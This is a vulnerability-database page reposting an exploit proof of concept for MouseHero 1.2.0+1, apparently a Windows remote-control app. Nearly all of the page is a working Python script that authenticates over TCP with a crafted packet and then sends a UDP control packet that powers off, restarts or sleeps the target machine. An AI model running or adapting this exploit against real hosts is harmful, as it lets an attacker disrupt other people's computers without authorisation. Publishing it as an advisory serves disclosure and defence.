Lucene search
+L

📄 MouseHero 1.2.0+1 Remote Power Control

🗓️ 27 Jul 2026 00:00:00Reported by tmrswrrType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 26 Views

MouseHero version 1.2.0+1 remote power-control PoC enabling poweroff, restart, or sleep via TCP/UDP.

Code
# Exploit Title: MouseHero v1.2.0+1 - power-control
    # Date: July 26, 2026
    # Exploit Author: tmrswrr
    # Vendor Homepage: https://mousehero.aprilzz.com
    # Software Link: https://downloads-mousehero.aprilzz.com/downloads/MouseHero-Windows-x86_64-latest.zip
    # Version: 1.2.0+1
    # Tested on: Windows 10 Enterprise LTSC Build 17763
    #!/usr/bin/env python3
    # MouseHero power-control PoC.
    # Usage:
    #   python3 mousehero_power_control.py sleep
    #   python3 mousehero_power_control.py restart
    #   python3 mousehero_power_control.py poweroff
    #
    # CONTROL event type 9 accepts:
    #   1 = poweroff, 2 = restart, 3 = sleep
    
    import socket
    import struct
    import sys
    import time
    
    HOST = "192.168.1.103"
    TCP_PORT = 21216
    UDP_PORT = 21217
    
    AUTH = 10
    CONTROL = 9
    
    OPS = {"poweroff": 1, "restart": 2, "sleep": 3}
    ACTION = sys.argv[1] if len(sys.argv) > 1 else "sleep"
    if ACTION not in OPS:
        raise SystemExit(f"usage: {sys.argv[0]} [sleep|restart|poweroff]")
    
    
    def mpu(n):
        if n <= 0x7F:
            return bytes([n])
        if n <= 0xFF:
            return b"\xcc" + struct.pack(">B", n)
        return b"\xcd" + struct.pack(">H", n)
    
    
    def mpa(*items):
        return bytes([0x90 | len(items)]) + b"".join(items)
    
    
    def pkt(kind, body, uid=1):
        hdr = mpa(mpu(uid), mpu(kind), mpu(6), mpu(len(body)))
        return struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body
    
    
    def recv_all(s, n):
        out = b""
        while len(out) < n:
            chunk = s.recv(n - len(out))
            if not chunk:
                break
            out += chunk
        return out
    
    
    def auth():
        with socket.create_connection((HOST, TCP_PORT), timeout=5) as s:
            s.sendall(pkt(AUTH, mpa(mpu(1), mpu(3))))
            psize, hsize = struct.unpack(">II", recv_all(s, 8))
            recv_all(s, hsize)
            body = recv_all(s, psize - 4 - hsize)
            return body[2] if len(body) > 2 else 1
    
    
    uid = auth()
    body = mpa(mpu(OPS[ACTION]))
    hdr = mpa(mpu(uid), mpu(CONTROL), mpu(1), mpu(247))
    packet = struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body
    
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as u:
        u.sendto(packet, (HOST, UDP_PORT))
        time.sleep(0.2)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
26